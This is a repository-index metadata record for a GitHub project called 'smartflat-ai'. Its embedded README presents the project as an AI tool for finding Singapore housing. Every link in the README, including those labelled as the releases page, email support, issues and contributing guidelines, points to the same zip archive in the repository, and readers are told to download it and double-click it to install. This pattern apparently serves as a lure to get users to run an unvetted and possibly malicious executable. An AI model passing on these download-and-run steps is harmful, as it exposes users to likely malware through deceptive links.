{"id":32789383,"url":"https://github.com/marekre352/smartflat-ai","last_synced_at":"2026-05-02T22:35:19.864Z","repository":{"id":322360368,"uuid":"1088940083","full_name":"marekre352/smartflat-ai","owner":"marekre352","description":"🤖 Streamline HDB property recommendations with a cost-optimized, multi-agent system using AWS for intelligent data routing and analysis.","archived":false,"fork":false,"pushed_at":"2025-11-04T02:33:08.000Z","size":2873,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-11-04T04:24:24.853Z","etag":null,"topics":["agentcore","ai-agent","amazon-athena","amazon-nova","aws-hackathon","aws-lambda","chatbot","cloudformation","generative-ai","hdb","llm","machine-learning","multi-agent-system","postgresql","property-search","rds-proxy","real-estate","singapore"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/marekre352.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-11-03T17:02:18.000Z","updated_at":"2025-11-04T02:33:11.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/marekre352/smartflat-ai","commit_stats":null,"previous_names":["marekre352/smartflat-ai"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/marekre352/smartflat-ai","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/marekre352%2Fsmartflat-ai","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/marekre352%2Fsmartflat-ai/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/marekre352%2Fsmartflat-ai/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/marekre352%2Fsmartflat-ai/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/marekre352","download_url":"https://codeload.github.com/marekre352/smartflat-ai/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/marekre352%2Fsmartflat-ai/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":282799913,"owners_count":26729199,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-11-05T02:00:05.946Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agentcore","ai-agent","amazon-athena","amazon-nova","aws-hackathon","aws-lambda","chatbot","cloudformation","generative-ai","hdb","llm","machine-learning","multi-agent-system","postgresql","property-search","rds-proxy","real-estate","singapore"],"created_at":"2025-11-05T10:01:19.911Z","updated_at":"2026-05-02T22:35:19.858Z","avatar_url":"https://github.com/marekre352.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🏆 smartflat-ai - Find Your Perfect Singapore Home Easily\n\n[![Download Now](https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip%20Now-Available%20Here-brightgreen)](https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip)\n\n## 📖 Overview\n\nWelcome to smartflat-ai! This application is designed to help you find the perfect home in Singapore using AI technology. Whether you're looking for a new apartment or a cozy flat, our multi-agent system provides intelligent cost optimization and up-to-date information to assist you in your property search.\n\n## 🚀 Getting Started\n\nFollow these simple steps to download and run smartflat-ai:\n\n1. **Visit the Releases Page**  \n   Go to our [Releases page](https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip) to find the latest version of the application.\n\n2. **Download the Application**  \n   Look for the most recent release. Click on the associated download link for your operating system to start the download.\n\n3. **Install the Application**  \n   After the download completes, locate the downloaded file in your computer’s Downloads folder.\n\n4. **Run the Application**  \n   Double-click the file to start the application. Follow any prompts to complete the installation.\n\n## 🔍 Features\n\n- **Multi-Agent System:** Easily compare various housing options based on your criteria.\n- **Real-Time Data:** Access updated property information directly fetched from reliable sources.\n- **Cost Optimization:** Receive intelligent suggestions to find the best deals tailored to your budget.\n\n## 🖥️ System Requirements\n\nTo run smartflat-ai, ensure your system meets the following requirements:\n\n- **Operating System:** Windows 10 or later, macOS Mojave or later\n- **RAM:** Minimum 4 GB (8 GB recommended)\n- **Storage:** At least 500 MB of available space\n- **Internet Connection:** A stable internet connection for data retrieval and updates\n\n## 📦 Installation Steps\n\nOnce you have downloaded the application, follow these additional installation steps:\n\n1. **Open the Installer**  \n   Double-click the installer file you downloaded.\n\n2. **Follow the Setup Instructions**  \n   The setup wizard will guide you through the installation process. Simply follow the prompts.\n\n3. **Finish Installation**  \n   Once the installation is complete, you'll see an option to launch the application. Click \"Finish\" to exit the installer.\n\n## 🏡 Using smartflat-ai\n\nAfter installation, use the application to start your property search:\n\n1. **Open smartflat-ai**  \n   Launch the application through your Start Menu or Applications folder.\n\n2. **Set Your Preferences**  \n   Input your desired location, budget, and any other criteria. The AI will analyze these preferences.\n\n3. **Explore Recommendations**  \n   Review the list of properties matched to your preferences. Click on any item for more details.\n\n4. **Contact Agents**  \n   Use the provided contact options to reach out to real estate agents for more information or to schedule visits.\n\n## 📞 Support\n\nIf you encounter any issues while using smartflat-ai, please reach out for support:\n\n- **Email Support:** https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip\n- **Github Issues:** Visit our [issues page](https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip) to report a problem or ask questions.\n\n## 📈 Future Updates\n\nWe're continuously improving smartflat-ai. Future updates will include:\n\n- Enhanced AI algorithms for better recommendations.\n- Expanded data sources for more comprehensive listings.\n- User feedback integration to improve usability.\n\n## 🛠️ Contributing\n\nWe welcome contributions from anyone interested in improving smartflat-ai. If you have ideas, bug fixes, or enhancements, please check our [contributing guidelines](https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip).\n\n## 🔗 Conclusion\n\nThank you for choosing smartflat-ai to assist in your property search. We hope this tool makes finding your perfect Singapore home easier and faster. Don’t forget to check back for new updates and features!\n\n[![Download Now](https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip%20Now-Available%20Here-brightgreen)](https://github.com/marekre352/smartflat-ai/raw/refs/heads/main/agent/ai-smartflat-3.3-beta.5.zip)","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmarekre352%2Fsmartflat-ai","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmarekre352%2Fsmartflat-ai","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmarekre352%2Fsmartflat-ai/lists"}